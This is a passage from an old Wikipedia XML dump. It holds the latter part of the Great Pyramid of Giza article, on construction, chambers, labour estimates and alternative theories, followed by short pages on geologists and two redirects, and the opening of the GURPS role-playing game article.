The pyramid was constructed of cut and dressed blocks of [[limestone]], [[basalt]] or [[granite]]. The core was made mainly of rough blocks of low quality limestone taken from a quarry at the south of Khufu’s Great Pyramid. These blocks weighed from two to four [[tonne]]s on average, with the heaviest used at the base of the pyramid. An estimated 2.4 million blocks were used in the construction.  High quality limestone was used for the outer casing, with some of the blocks weighing up to 15 tonnes. This limestone came from Tura, about 8 miles away on the other side of the Nile. Granite quarried nearly 500 miles away in Aswan with blocks weighing as much as 60-80 tonnes, was used for the portcullis doors and relieving chambers.    

The total mass of the pyramid is estimated at 5.9 million tonnes with a volume (including an internal hillock) believed to be [[1 E6 m³|2,600,000 cubic metre]]s. The pyramid is the largest in Egypt and the tallest in the world and is surpassed only by the [[Great Pyramid of Cholula]] in [[Puebla]], [[Mexico]], which, although much lower in height, occupies a greater volume. 

At completion, the Great Pyramid was surfaced by white 'casing stones' &amp;ndash;  slant-faced, but flat-topped, blocks of highly polished white limestone. These caused the monument to shine brightly in the sun and even in the evening under moonlight being visible from mountains in the south of Egypt as far away as 200 miles (300 km). Visibly all that remains is the underlying step-pyramid core structure seen today, but several of the casing stones can still be found around the base. The casing stones of the Great Pyramid and [[Khafre's Pyramid]] (constructed directly beside it) were cut to such optical precision as to be off of true plane over their entire surface area by only as little as 1/50th of an inch. They were fit together so perfectly that the tip of a knife cannot be inserted between the joints along any edge even to this day. 

The Great Pyramid differs in its internal arrangement from the other pyramids in the area. The greater number of passages and chambers, the high finish of parts of the work, and the accuracy of construction all distinguish it. The walls throughout the pyramid are totally bare and uninscribed, but there are inscriptions &amp;mdash; or to be more precise, graffiti &amp;mdash; believed to have been made by the workers on the stones before they were assembled. All the five relieving chambers are inscribed.  The most famous inscription is one of the few that mentions the name of Khufu; it says &quot;year 17 of Khufu's reign&quot;. Although alternative theorists have suggested otherwise, given its precarious location it is hard to believe it could have been inscribed after construction; even [http://www.mm2000.nu/sphinxb98.html Graham Hancock] accepted this, after Dr Hawass let him examine the inscription. Another inscription refers to &quot;the friends of Khufu&quot;, and probably was the name of one of the gangs of workers. Though this doesn't offer indisputable proof Khufu originated the construction of the Great Pyramid or when building began, it does however clear any doubt he at least took part in some phase of its construction (or later repairs to an existing building) during his reign. 

There are three chambers inside the Great Pyramid. These are arranged centrally, on the vertical axis of the pyramid. The lowest chamber (the &quot;unfinished chamber&quot;) is cut into the bedrock upon which the pyramid was built. This chamber is the largest of the three, but totally unfinished, only rough-cut into the rock. 

The middle chamber, or ''Queen's Chamber'', is the smallest, measuring approximately 5.74 by 5.23 [[metre]]s, and 4.57 metres in height. Its eastern wall has a large angular doorway or niche, and two narrow shafts, about 20 centimeters wide, extending from the chamber to the outer surface of the pyramid, but blocked by limestone &quot;doors&quot; at several points. Egyptologist [[Mark Lehner]] believes that the Queen's chamber was intended as a ''serdab''&amp;mdash;a structure found in several other Egyptian pyramids&amp;mdash;and that the niche would have contained a statue of the interred. The Ancient Egyptians believed that the statue would serve as a &quot;back up&quot; vessel for the [[Egyptian soul#Ka .28corporal presence.2Flife force.29|Ka]] of the Pharaoh, should the original mummified body be destroyed. The true purpose of the chamber, however; remains a mystery.[http://www.touregypt.net/featurestories/greatpyramid3.htm]

At the end of the lengthy series of entrance ways leading into the pyramid interior is the structure's main chamber, the ''King's Chamber''. This chamber was originally 10 x 20 x 5V5 cubits, or about 17 x 34 x 19 ft, roughly a double cube.

The other main features of the Great Pyramid consist of the Grand Gallery, the sarcophagus found in the King's Chamber, both ascending and descending passages, and the lowest part of the structure mentioned above, what is dubbed the &quot;unfinished chamber&quot;.  

The Grand Gallery (49 x 3 x 11 m) features an ingenious corbel halled design and several cut &quot;sockets&quot; spaced at regular intervals along the length of each side of its raised base with a &quot;trench&quot; running along its center length at floor level. What purpose these sockets served is unknown. The Red Pyramid of Dashur also exhibits grand galleries of similiar design.

The sarcophagus of the King's chamber was hollowed out of a single peice of Red Aswan granite and has been found to be too large to have fit through the passageway leading to the King's chamber. Whether the purpose of the sarcophagus was ever intended to house a body is unknown, but regardless, it is too short to accommodate a medium height individual without the bending of the knees (a technique unpracticed in Egyptian burial)and no lid was ever found.

The &quot;unfinished chamber&quot; lies 90ft below ground level and is rough-hewn, lacking the signature precision of the other chambers. This chamber is dismissed by Egyptologists as being nothing more than a simple change in plans in that it was intended to be the original burial chamber but later King Khufu changed his mind wanting it to be higher up in the pyramid.[http://www.pbs.org/wgbh/nova/pyramid/explore/khufuunfhi.html]. Given the extreme precision and planning given to every other phase of the Great Pyramid's contruction, this conclusion seems premature at best considering according to these same Egyptologists the whole purpose of building the structure in the first place as they claim was to house the king's burial chamber.

In August 2004 two French amateur Egyptologists, Gilles Dormion and Jean-Yves Verd'hurt, claimed that they had discovered, using ground-penetrating radar and architectural analysis, a previously unknown corridor inside the pyramid. If their claim is true, the corridor is unlikely ever to have been violated and could possibly lead to a chamber containing the king's remains. But, as yet, the pair have been refused permission by the Egyptian Supreme Council of Antiquities to follow up their findings and, they hope, prove the room's existence {{citeneeded}}.

== Labor and construction theories ==
:''See also:'' [[Egyptian pyramids construction techniques|Egyptian Pyramid construction techniques]]

[[Image:Rj2.JPG|thumb|160 px|RJ or RL-shaped supports possibly used to raise several-ton stone blocks.]]

Many varied estimates have been made regarding the labor force needed to construct the Great Pyramid. [[Herodotus]], the [[Greece|Greek]] historian in the [[5th century BC]], estimated that construction may have required the labor of 100,000 workers for 20 years. Recent evidence has been found that suggests the workforce was in fact paid, which would require accounting and bureaucratic skills of a high order. [[Poland|Polish]] [[architect]] Wieslaw Kozinski believed that it took as many as 25 men to transport a 1.5-ton stone block; based on this, he estimated the workforce to be 300,000 men on the construction site, with an additional 60,000 off-site. 19th century Egyptologist [[William Flinders Petrie]] proposed that the labor force was largely composed not of slaves but of the rural Egyptian population, working during periods when the [[Nile]] river was flooded and [[agriculture|agricultural]] activity suspended. [[Egyptology|Egyptologist]] [[Miroslav Verner]] posited that the labor was organized into a [[hierarchy]], consisting of two ''gangs'' of 1000 men, divided into five ''zaa'' or ''phyle'' of 200 men each, which may have been further divided according to the skills of the workers.

Some research suggests alternate estimates to the aforementioned labor size. For instance, [[mathematics|mathematician]] [[Kurt Mendelssohn]] calculated that the labor force may have been 50,000 men at most, while [[Ludwig Borchardt]] and [[Louis Croon]] placed the number at 36,000. According to Verner, a labor force of no more than 30,000 was needed in the Great Pyramid's construction.

A construction management study carried out by the firm Daniel, Mann, Johnson, &amp; Mendenhall in association with Mark Lehner and other egyptologists (''Civil Engineering''  magazine, June 1999), estimates that the total project required an average workforce of 13,200 people and a peak workforce of 40,000 and was completed from start to finish in approximately 10 years. The study estimates the number of blocks used in construction was between 2-2.8 million (an average of 2.4 million), but settles on a much reduced finished total of 2 million subtracting the estimated area of the hollow spaces of the chambers and galleries. Their calculations suggest the workforce could have sustained a rate of 180 blocks per hour (3 blocks every 60 seconds)with ten hour work days for putting each individual block in place. They derived these estimates from contruction projects in the third world that did not use modern machinery. This study fails to take into account however, especially when compared to modern third world construction projects, the added labor and logistics required among other things to perform the work with such precision, the entire project as a whole, or the use of up to 80 tonne stones being quarried and transported a distance of over 500 miles.  

Regardless of how many workers were required for construction, to use the following equation: 2,400,000 (total stones used in construction) ÷ 20 years (estimated time of completion) ÷ 365 days in a year ÷ 10 work hours in a day ÷ 60 minutes in one hour, the resulting answer is 0.55 stones/minute. What this means is that no matter how many workers were used or in what configuration, to complete the construction of the Great Pyramid within this time frame 1.1 blocks would have to be put in place every 2 minutes, ten hours a day, 365 days a year for twenty years. To use the same equation, but instead assuming the time of completion to be one hundred years instead of twenty, it would require 1.1 blocks to be set every ten minutes, ten hours a day, 365 days a year. 

These equations, however, do not include the time and labor required to design, plan, survey, and level the 13 acre site which the Great Pyramid sits on. Nor do they include construction time for the two other main pyramids on the site, the Sphinx, the temples (which feature stones weighing upwards of 200 tonnes), networks of causeways, several square miles of paving stones (which originally covered the entire Giza plateau), the leveling of the entire Giza plateau, the 35 boat pits carved out of solid bedrock (some of which are nearly 150 ft long and 30 ft deep), or several other highly laborious features. 

When considering the time it would have taken to build the Great Pyramid alone, it is worth noting that the construction of the entire Giza plateau is believed to have been accomplished by three pharaohs (possibly 4 if Djedefre, Kheops' son, is considered) in less than a hundred years starting with Khufu who reigned from 2606-2583 BC and ending with Menkaure 2548-2530 BC (76 years).  To apply the Great Pyramid labor formula (which only provides for the physical act of dropping the stones in place) to the entire Giza plateau would require stones, even the 80-200 tonne variety some of which were quarried over 500 miles away in Aswan, to be placed ten hours a day, 365 days a year for approximately 76 years - not every few minutes, but every few seconds. This feat becomes even more impessive given beginning with king Snefru who ruled from 2630-2606 BC (leaving a span of 100 years between the beginning of his reign and the end of Menkaure's in 2530 BC), three other massive pyramids were built: the Step Pyramid of Saqqara (believed to be the first Egyptian pyramid), the Bent Pyramid, and the Red Pyramid of Dashur. Also during this time period (between 2686 and 2498 BC), an equally impressive construction project was carried out, the Wadi Al-Garawi dam believed by some to be the world's oldest, which used an estimated 100,000 cubic metres of rock and rubble for its construction.[http://weekly.ahram.org.eg/2004/708/he1.htm]         

Herodotus speculated that the stone blocks used in the Great Pyramid's construction were maneuvered into place by raising them up a succession of short wooden [[Scaffolding|scaffold]]s. Another possibility proposed by the ancient scholar [[Diodorus Siculus]] was that the giant blocks were dragged along a system of [[ramp]]s to the necessary height. More recently, [[Mark Lehner]] speculated that a spiralling ramp, beginning in the stone [[quarry]] to the southeast and continuing around the exterior of the pyramid, may have been used. In Lehner's model, the stone blocks may have been drawn on sleds lubricated by water. Another source claims milk was a lubricant.  

The most precisely cut stone blocks were reserved for the outside. Once in place their corners were smoothed to give an almost shiny outer appearance of the pyramid. For the inner core, the blocks were cut with less precision, since there are gaps big enough to introduce an arm. These gaps were filled with rubble, mixed with gypsum. Recent studies by Gilles Dormion and Jean Patrice Goidin suggest the existence of cavities filled with sand, that could amount to 10 to 15% of the volume of the pyramid. This could reduce the amount of work required of the construction.

The idea of using rollers to move stone blocks was made popular in Hollywood movies, but as of today, whether it be ramp, roller, or otherwise, there are few historical records to demonstrate how ground transportation was done.

If a ramp were used to push the top-most blocks of the pyramid into place, the incline would contain more material than the pyramid itself and this material would have had to be removed after construction was completed. Excavation on the area south of the Great Pyramid revealed evidence of the remains of a ramp consisting of two walls built of stone rubble and mixed with Tafla. The area in between was filled with sand and gypsum forming the bulk of the ramp. They were discovered during the work of relocating the Sound and Light Show cables at Giza (Hawass, The Pyramids of Ancient Egypt). Given the mass required to build a ramp of such magnitude to contruct the Great Pyramid as ramp theories suggest, it is unknown what purpose this much smaller newly discovered ramp may have served. 

It has also been suggested that Egyptians might have moved the stones with wind power, relying on kites and pulleys rather than huge numbers of slaves.  On June 23, 2001, Caltech aeronautics professor [[Mory Gharib]] and a small team of undergraduates raised a 3000 kg, 3 metre tall obelisk into vertical position in 22 mph (35 km/h) winds in a California desert in under 25 seconds, using a 10 m kite connected to a pulley system and support frame, to demonstrate that wind power can be harnessed to create large lifting forces.  The originator of this idea, business consultant Maureen Clemmons, recalled seeing a building frieze now displayed in a Cairo museum, showing a wing pattern in bas relief that did not resemble any living bird, directly below which were several men standing near vertical objects that could be ropes.  However, though the engineering may have been feasible, Egyptian experts point out there is no evidence that ancient Egyptians used either kites or pulleys as we know them today.

Materials scientist [[Joseph Davidovits]] has posited that the blocks of the pyramid are not carved stone, but mostly a form of limestone [[concrete]]: ''i.e.'' they were 'cast' as with modern [[cement]].  Because of the blocks huge (2.5 to 15 tons) size each was molded in situ. [http://www.geopolymer.org/science_archaeology/pyramids_egypt/limestone_fossil_shells.htm] 
&amp;nbsp; According to this theory soft [[limestone]] with a high [[kaolinite]] content was quarried in the [[wadi]] on the south if the Giza plateau.  It was then dissolved in large, Nile-fed pools until it became a watery slurry.  Lime (found in the ash of cooking fires) and [[natron]] (also used by the Egyptians in mummification) was mixed in.   The pools were then left to evaporate, leaving behind a moist, clay-like mixture.  This wet &quot;concrete&quot; would be carried to the construction site where it would be packed into reusable wooden molds.  In the next few days the mixture would undergo a chemical [[hydration]] reaction similar to the 'setting' of cement. 
&amp;nbsp; No large gangs would be needed to haul blocks, and no chiseling or carving would be required to dress their surfaces.  New blocks could be cast in place, on top of and pressed against the old blocks.  This would account for the unerring precision of the joints of the casing (the blocks of the core show tools marks and were cut with much lower tolerances). Proof-of-concept tests using similar compounds were carried out at a geopolymer institute in northern France.  It was found that a crew of ten, working with simple hand tools, could build a structure of fourteen, 1.3 to 4.5 ton blocks in a couple of days. [http://www.geopolymer.org/science_archaeology/pyramids_egypt/video_limestone_block_made.html]
&amp;nbsp; According to Davidovits the architects possessed at least two concrete formulas: one for the large structural blocks and another for the white casing stones.  He argues earlier pyramids were built using similar techniques.

==Alternative theories==
In common with many other monumental structures from antiquity, the Great Pyramid has over time been the subject of a great number of speculative or alternative theories, which put forward a variety of explanations about its origins, dating, construction and purpose. In support of these claims such accounts either rely upon novel reinterpretations of the available data from fields such as archaeology, history and astronomy, or appeal to [[mythology|mythological]], [[mysticism|mystical]], [[numerology|numerological]], [[astrology|astrological]] and other [[esotericism|esoteric]] sources of knowledge, or some combination of these.

Such ideas have been part of popular culture since at least the turn of the 20th century and can be traced back among others to such figures as the early-twentieth century American [[psychic]] [[Edgar Cayce]], whose &quot;psychic channeling&quot; of &quot;Ra Ta&quot; purports to have conveyed that the pyramids were built by refugees from [[Atlantis]], and even to his predecessor [[Ignatius Donnelly]]. In recent years, some of the more widely-publicised writers of alternative theories include [[Graham Hancock]], [[Robert Bauval]], [[Adrian Gilbert]] and Boston University geology professor [[Robert M. Schoch]]. These have written extensive alternate theories about the age and origin of the Giza pyramids and the [[Great Sphinx|Sphinx]]. While many Egyptologists and field scientists tend to dismiss such accounts out of hand as being a form of [[pseudoarchaeology]] (if only because of the subject material), other specialists such as astronomy professor [[Ed Krupp]] who have been involved in debate surrounding their ideas have produced refutations based on analyses of the presented evidence for many of their claims[http://www.antiquityofman.com/Krupp_refutes_Bauval_and_Roy.html].

A common theme found in many of the alternative theories put forward concerning the Giza pyramids and many other megalithic sites around the world, is the suggestion that these are not the products of the civilizations and cultures known to conventional history, but are instead the much older remnants of some hitherto unknown advanced ancient culture. This progenitor civilization is supposed to have been destroyed in antiquity by some devastating catastrophe, according to most of these accounts sometime around 10,500 BC. For the Great Pyramid of Giza in particular, it is maintained (depending on the theorist) that either it was ordained and built by this now-vanished civilization, or else that its construction was somehow influenced by knowledge (now lost) acquired from this civilization. The latter point of view is more common among recent theorists such as Hancock and Bauval, who have acknowledged that the Great Pyramid incorporates star shafts 'locked in' to Orion's Belt and Sirius at around 2450 BC, though they argue the Giza ground-plan was laid out in 10,450 BC  [http://www.grahamhancock.com/library/fotg/c52-5.htm].   

The ''a priori'' existence of such a civilization is postulated by such theorists who believe this is the only reasonable explanation how the most advanced of ancient historical cultures, such as Egypt and Sumer, were able to reach such high levels of unequaled technological advancement from their very beginnings with what might appear to be little or no precedent. This precedent they argue is not unknown, but found all over the globe in the form of megalithic ruins discovered at the beginnings of history but too complex they argue to have been constructed by the cultures they are ascribed to by the mainstream. As another of these theorists John Anthony West writes in reference to Egypt in particular: &quot;How does a complex civilization spring full blown into being? Look at a 1905 automobile and compare it to a modern one. There is no mistaking the process of 'development'. But in Egypt there are no parallels. Everything is right there from the start.&quot; (''Serpent In the Sky'', 1979[http://www.sourcetext.com/pythagoras/serpent.html])

Egyptologists accuse Hancock of &quot;just acknowledg[ing] the existence of a large body of data and the detailed hypothesis formulated to explain them, then bypass[ing] that hypothesis and present[ing] his alternative&quot;{{fact}}&lt;!--is this an actual quote? If so, a citation should be appended; if not, perhaps an alternate direct quote can be used to illustrate the near-universal disdain egyptologists have with ideas such as Hancock's--&gt;. This because most of the evidence presented by Hancock has already been rejected by most Egyptologists and geologists since the evidence has not been subject to the system of [[peer review]]. However, he is only one of the many authors and researchers to have questioned the veracity of the evidence given to support the mainstream theory, and contest that there are too many weaknesses overlooked in their arguments. These shortcomings, they contest, include weak evidence tying the building of the pyramid to Khufu &amp;mdash; a link which his supporters made on far less strong a base than is generally acceptable in egyptology.&lt;!--not sure what these two sentences are trying to say - hasn't Hancock himself acknowledged that the pyramid was built by Khufu?--&gt;

Hancock, Schoch and others who put forward alternative theories contest that traditional thoughts of egyptologists should not prevent us from considering new information with a new model, and that if the old theories cannot explain anomalies then they have to be reevaluated in light of new information, rather than brushing these anomalies under the carpet, for this is the scientific method.

=Further Reading=	 

* Mainstream [[Egyptology]]

:: [[Miroslav Verner|Verner, Miroslav]], &quot;The Pyramids - Their Archaeology and History&quot;, Atlantic Books, 2001, ISBN 1-84354-171-8

* Alternative Theories

:: Smyth, Piazzi, &quot;''Great Pyramid: Its Secrets &amp; Mysteries Revealed''&quot;. Gramercy; 4th Rep edition. [[October 23]] [[1994]]. ISBN 0-517-26403-x	 
:: Hancock, Graham, &quot;''Fingerprints of the Gods''&quot;. 3 Rivers Press; 1995. ISBN 0-517-88729-0
:: Hancock, Graham &amp; Bauval, Robert, &quot;''The Message of the Sphinx''&quot;. Crown Publishers; 1996. ISBN     0-517-70503-6
:: Bauval, Robert with Gilbert, Adrian, &quot;''The Orion Mystery''&quot;. Crown Publishers; 1994/95. ISBN 0-517-88454-2
:: West, John Anthony, &quot;''Serpent in the Sky''&quot;. Julian Press; 1979. ISBN 0-517-56635-4(pbk.)
:: Shoch, Robert M. Ph.D., &quot;''Voyages of the Pyramid Builders''&quot;. Penguin Group; 2003 ISBN 1-58542-320-3(pbk.)
:: Childress, David Hatcher, &quot;''Lost Cities and Ancient Mysteries of Africa &amp; Arabia''&quot;. Adventures Unlimited Press; 1989. ISBN 0-932813-06-2
:: Sitchin, Zecharia, &quot;''The 12th Planet''&quot;. Avon Books; 1976. ISBN 0-380-39362-X

== See also ==	 
{{commons|Great Pyramid of Giza|Great Pyramid of Giza}}	 
* [[List of Egypt-related topics]]	 
** [[Egyptian pyramids]]	 
*** [[Giza Necropolis]]
*** [[Gantenbrink's Door]]
** [[History of Ancient Egypt]]	 
*** [[Ancient Egypt]]	 
*** [[Old Kingdom]]	 
** [[Veneration of the dead]]	 
*** [[Egyptian soul]]	 
* [[Archaeology]]	 
** [[Archaeoastronomy]]	 
** [[Pseudoarchaeology]]	 
* [[Measure]]s and [[Mathematics]]	 
** [[Pyramid]]	 
** [[Ancient weights and measures]]	 
** [[Orders of magnitude (length)]]	 
** [[Orders of magnitude (mass)]]	 
* Lists	 
** [[List of buildings]]	 
** [[List of astronomical topics]]	 
** [[List of famous pairs]]

== External links ==	 
'''Archeology'''	 
*[http://oi.uchicago.edu/OI/PROJ/GIZ/Giza.html The Giza Mapping Project]

'''Exploration'''
*[http://www.travellersinegypt.org Travelers in Egypt]
*[http://www.freddyreyes.com/portal/modules.php?name=Downloads&amp;d_op=viewdownloaddetails&amp;cid=17&amp;lid=68&amp;ttitle=3D_Model_of_the_Great_Pyramid_Inside_Version_2.0#dldetails.html 3d walkthru model of the Great Pyramid inside]

'''Other theories'''	 
* Wall, John, &quot;''[http://www.hallofmaat.com/maat/article.php?sid=17 The Wrong Question (or: The Myth of the Mystery of the Missing Messages)]''&quot;. In the Hall of Maat.	 
* World-Mysteries.com - Mystic Places : [http://www.world-mysteries.com/mpl_2.htm The Great Pyramid]	 
* [http://www.aiwaz.net/giza/ Composition of Giza Plateau]	 
* Ottar Vendel's [http://www.nemo.nu/ibisportal/0egyptintro/3egypt/3main.htm Age of the Pyramids]	 
* [http://members.aol.com/aditt48670/pyramid.html Pyramid construction theory]	 
* Joseph Davidovits' &quot;[http://www.geopolymer.org/science_archaeology/pyramids_egypt/index.html ''Ari-Kat Technology'']&quot; - Geopolymer theory of pyramid construction	 
* Maureen Clemmons' &quot;[http://pr.caltech.edu/periodicals/CaltechNews/articles/v35/obelisk.html How Many Caltechers Does It Take to Raise An Egyptian Obelisk?]&quot; - Wind power construction theory	
* Chris Dunn &quot;[http://www.gizapower.com/]&quot; - The Theory that the Giza Pyramid was a giant Maser	 
'''News'''	 
* Guardian's [http://www.guardians.net/egypt/pyramids.htm Pyramids of Egypt]	 
* [http://www.guardian.co.uk/international/story/0,3604,1293377,00.html Secret chamber may hold key to mystery of the Great Pyramid] ([[The Guardian]], [[August 30]] [[2004]].)	 
* [http://www.abc.net.au/news/newsitems/200408/s1188387.htm Amateur archaeologists track lost tomb of Cheops] ([[Australian Broadcasting Corporation]], [[August 30]] [[2004]].)	 
* [http://www.guardians.net/hawass/pbuildrs.htm Pyramid Construction]: Ancient ramp leading to the Great Pyramid discovered, but only of maximal height approximately 100 feet (30 m). Pyramid's original height was 481 feet. Also, the heaviest stone blocks were discovered to have holes bored on opposite sides, indicating the use of [[Crane (machine)|cranes]] (or other mechanical means) to raise and precisely position them. 	 
	 
'''Images'''	 
* [http://www.gizapyramid.com/newtour1.htm A Picture Tour of The Great Pyramid] at the [http://www.gizapyramid.com/ Great Pyramid of Giza Research Association].	 
* Fullscreen Quicktime VR Panorama' [http://www.panoramas.dk/fullscreen/fullscreen38.html Pyramids of Giza]	 
* Google Satellite maps of the Pyramids [http://maps.google.com/maps?ll=29.977140,31.131649&amp;spn=0.013282,0.017896&amp;t=k&amp;hl=en 29&amp;deg;58'51&quot;N 31&amp;deg;09'00&quot;E]	 
* [http://www.pyramidcam.com Pyramidcam!]
* [http://www.globalamity.net/index.php?section=article&amp;articleid=15&amp;pagenumber=1 Pyramid Photographs] on GlobalAmity.net

[[Category:Ancient Egyptian pyramids]]

[[ar:هرم أكبر]]
[[bg:Хеопсова пирамида]]
[[da:Den store pyramide i Giza]]
[[de:Cheops-Pyramide]]
[[el:Πυραμίδες της Γκίζα]]
[[es:Gran Pirámide de Giza]]
[[et:Cheopsi püramiid]]
[[fa:هرم بزرگ جیزه]]
[[fi:Kheopsin pyramidi]]
[[fr:Grande pyramide de Gizeh]]
[[he:הפירמידה הגדולה של גיזה]]
[[it:Piramide di Cheope]]
[[ja:ギザの大ピラミッド]]
[[ms:Piramid Besar Kufu]]
[[nl:Piramide van Cheops]]
[[no:Den store pyramiden i Giza]]
[[pl:Piramida Cheopsa]]
[[pt:Pirâmide de Quéops]]
[[ru:Пирамида Хеопса]]
[[sl:Piramide pri Gizi]]
[[sr:Велике пирамиде]]
[[sv:Cheopspyramiden]]
[[tr:Keops Piramidi]]</text>
    </revision>
  </page>
  <page>
    <title>Geologist</title>
    <id>12225</id>
    <revision>
      <id>39153633</id>
      <timestamp>2006-02-11T01:38:26Z</timestamp>
      <contributor>
        <username>Etacar11</username>
        <id>162093</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">A '''geologist''' is a contributor to the [[science]] of [[geology]], studying the physical structure and processes of the [[Earth]].  

==Training / Schooling==
Their undergraduate training typically includes significant coursework in [[chemistry]], [[physics]], [[mathematics]] and possibly [[biology]], in addition to classes offered through the geology department; [[volcano|volcanology]], [[hydrology]], and [[Rock (geology)|rock]] and [[mineral]] formation are among the many areas of study.  Most geologists also need skills in [[Geographic information system|GIS]] and other [[mapping]] techniques.  Geology students may spend summers living and working under field conditions with faculty members.  Geology courses are also highly valuable to students of [[geography]], [[engineering]], chemistry, [[urban planning]], [[archaeology]], environmental studies, and other fields.

==Employment opportunities==
Professional geologists work for a wide range of government agencies, private firms, and non-profit and academic institutions.  Local, state, and national governments hire geologists to help plan and evaluate excavations, construction sites, environmental remediation projects, and natural disaster preparedness, as well as to investigate natural resources. An [[engineering geologist]] (a geologist trained, experienced and certified in the field of [[engineering geology]]) is called upon to investigate [[geologic hazards]] and geologic constraints for the planning, design and construction of public and private engineering projects, [[forensic]] and post-mortem studies, [[environmental impact analysis]] and other purposes.  [[Petroleum]] and [[mining]] companies and large-scale land developers use geologist's and [[engineering geologist]]'s skills to help them locate oil and minerals, adapt to local features such as [[karst]] deposits or the risk of [[earthquakes]], and comply with environmental regulations.  Geologists in academia usually hold an advanced degree in a specialized area within the discipline.

==See also== 
*[[List of geologists]]
[[Category:Science occupations]]

[[et:Geoloog]]
[[it:Geologo]]
[[he:גאולוג]]
[[nl:Lijst van geologen]]
[[sk:Geológ]]
[[sl:Geolog]]</text>
    </revision>
  </page>
  <page>
    <title>Gota kanal</title>
    <id>12226</id>
    <revision>
      <id>23183931</id>
      <timestamp>2005-09-13T21:27:56Z</timestamp>
      <contributor>
        <username>Art LaPella</username>
        <id>94794</id>
      </contributor>
      <comment>renamed Göta Canal</comment>
      <text xml:space="preserve">#REDIRECT [[Göta Canal]]</text>
    </revision>
  </page>
  <page>
    <title>German Rap</title>
    <id>12227</id>
    <revision>
      <id>15909928</id>
      <timestamp>2003-01-19T09:33:45Z</timestamp>
      <contributor>
        <username>Lorenzarius</username>
        <id>4308</id>
      </contributor>
      <minor />
      <comment>fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[German hip hop]]</text>
    </revision>
  </page>
  <page>
    <title>GURPS</title>
    <id>12228</id>
    <revision>
      <id>41940962</id>
      <timestamp>2006-03-02T19:50:46Z</timestamp>
      <contributor>
        <username>JHunterJ</username>
        <id>842922</id>
      </contributor>
      <comment>/* GURPS in other media */</comment>
      <text xml:space="preserve">{{Infobox RPG
|title=GURPS
|image=[[Image:GURPS_Characters.jpg]]
|caption=4th edition characters book
|designer= [[Steve_Jackson_%28US%29|Steve Jackson]]
|publisher=[[Steve Jackson Games]]
|date=1986
|genre=Universal
|system=GURPS
|footnotes=
}}
The '''Generic Universal Role-Playing System''', commonly known as '''GURPS''' is a form of a [[role-playing game]] (RPG) designed to adapt to any imaginary gaming environment. It was created by [[Steve Jackson Games]] in [[1986]]. In [[1989]], GURPS won the [[Origins Award]] for ''Best Roleplaying Rules of 1988 '', and in 2000 it was inducted into the Origins [[Hall of Fame]].  Many of its expansions have also won awards.

==History==
===Prior RPG history===
Prior to GURPS, role-playing games of the [[1970s]] and early [[1980s]] were developed especially for certain gaming environments, and they were largely incompatible with one another. For example, [[TSR, Inc.|TSR]] (the publisher of the ''[[Dungeons &amp; Dragons]]'' game) published its D&amp;D game specifically for a &quot;fantasy&quot; environment. Another game from the same company, ''[[Star Frontiers]]'', was developed for [[science fiction]]-based role-playing. TSR produced other games for other environments, such as ''[[Gamma World]]'', ''[[Top Secret (game)|Top Secret]]'', ''[[Gangbusters]]'', ''[[Boot Hill (role-playing game)|Boot Hill]]'', and more. Each of these games was set with its own self-contained rules system, and the rules for playing each game differed greatly from one game to the next. Attempts were made in Advanced Dungeons and Dragons to allow cross-genre games using Gamma World and Boot Hill rules, but the obscure rules went largely unused. GURPS is an attempt to create an all-encompassing, [[Generic role-playing game system|&quot;universal&quot; role-playing system]] that allows players to role-play in any environment they please without having to create a new set of rules for each game.

===The GURPS &quot;Concept&quot;===
GURPS was part of the first wave of [[role-playing game]]s that eschews random generation of characters in favor of a ''point-based system''. GURPS was not the first role-playing system to present a &quot;universal&quot; set of rules for different gaming environments. The [[Chaosium]] role-playing system, best known for the highly successful ''[[Call of Cthulhu (role-playing game)|Call of Cthulhu]]'' and ''[[RuneQuest]]'' role-playing games, were also developed to be a &quot;generic&quot; set of role-playing rules. 

Role-playing games of the 1970s and 1980s, such as ''Dungeons &amp; Dragons'', use random numbers generated by dice rolls to assign statistics to player characters. GURPS, in contrast, assigns each player a specified number of ''points'' for each category of their characters. Together with the [[Hero System]], GURPS was one of the first role-playing games in which characters are created by spending points to get characteristics, skills, advantages, getting more points by accepting low characteristics, disadvantages etc. This approach is increasingly more common, in part due to the success of GURPS.

GURPS' emphasis on its &quot;generic&quot; aspect has proven to be a successful marketing tactic: it is one of the most popular role-playing games on the market today. GURPS' approach to universality includes using real world measurements wherever possible. This allows players to fairly trivially convert things from the real world, other games or their imagination to GURPS statistics.

One of the strengths of GURPS, say its proponents, lies in its hundreds of worldbooks, describing settings from several science fiction, fantasy, and historical settings, adding specific rules but mainly giving general information for any game. Many popular game designers began their professional careers as GURPS writers (including C.J. Carella, Robin Laws, [[S. John Ross]], and [[FUDGE]] creator Steffan O'Sullivan).  It is something of an open secret in the gaming community that a large contingent of people who do not play GURPS (or any other RPG) nonetheless faithfully buy GURPS worldbooks because of the talented and creative writers.

===GURPS History===
Before GURPS, Steve Jackson wrote a set of games called [[The Fantasy Trip]], which is mechanically similar to GURPS. 

GURPS intersected part of the [[hacker]] subculture when the company's [[Austin, Texas|Austin]] offices were [[SJ Games vs. The Secret Service|raided]] by the [[Secret Service]]. The target was the author of [[GURPS Cyberpunk]] in relation to [[E911]] Emergency Response systemdocuments stolen from [[Bell South]]. The incident was a direct contributor to the founding of the [[Electronic Frontier Foundation]]. A common error suggests that this raid was part of [[Operation Sundevil]] and carried out by the [[FBI]]. Sundevil was in action at the same time, but was completely separate.

Steve Jackson Games released GURPS Fourth Edition at the first day of [[Gen Con]] on [[19 August]] [[2004]]. It promised to simplify and streamline most areas of play and character creation. Some of the changes: an edited and rationalized skill list, clarification of the difference between ability from experience and from inborn talent, simplifed language rules, and revised technology levels. The 4th edition was sold as two full-color hardcover books.

==Overview of the GURPS Mechanics==
===Character Points===

A character in GURPS is built with [[character point]]s. For a beginning character in an average power game, the 4th edition suggests 100-150 points to modify attribute stats, select advantages and disadvantages, and purchase levels in skills. Normal [[Non-player character|NPCs]] are built on 25 or fewer points. Full fledged heroes usually have 200-250 points, while superheroes are commonly  built with 400-800 points. Using character points, [[Gamemaster]]s can easily balance the power of foes to the abilities of the player characters.

===Attributes===

Characters in GURPS have four stats: 

*'''Strength (ST)''' A measure of the character's raw muscle power.
*'''Dexterity (DX)''' A measure of the character's physical coordination.
*'''Intelligence (IQ)''' A measure of the character's mental capacity.
*'''Health (HT)''' A measure of the character's bodily stamina.  

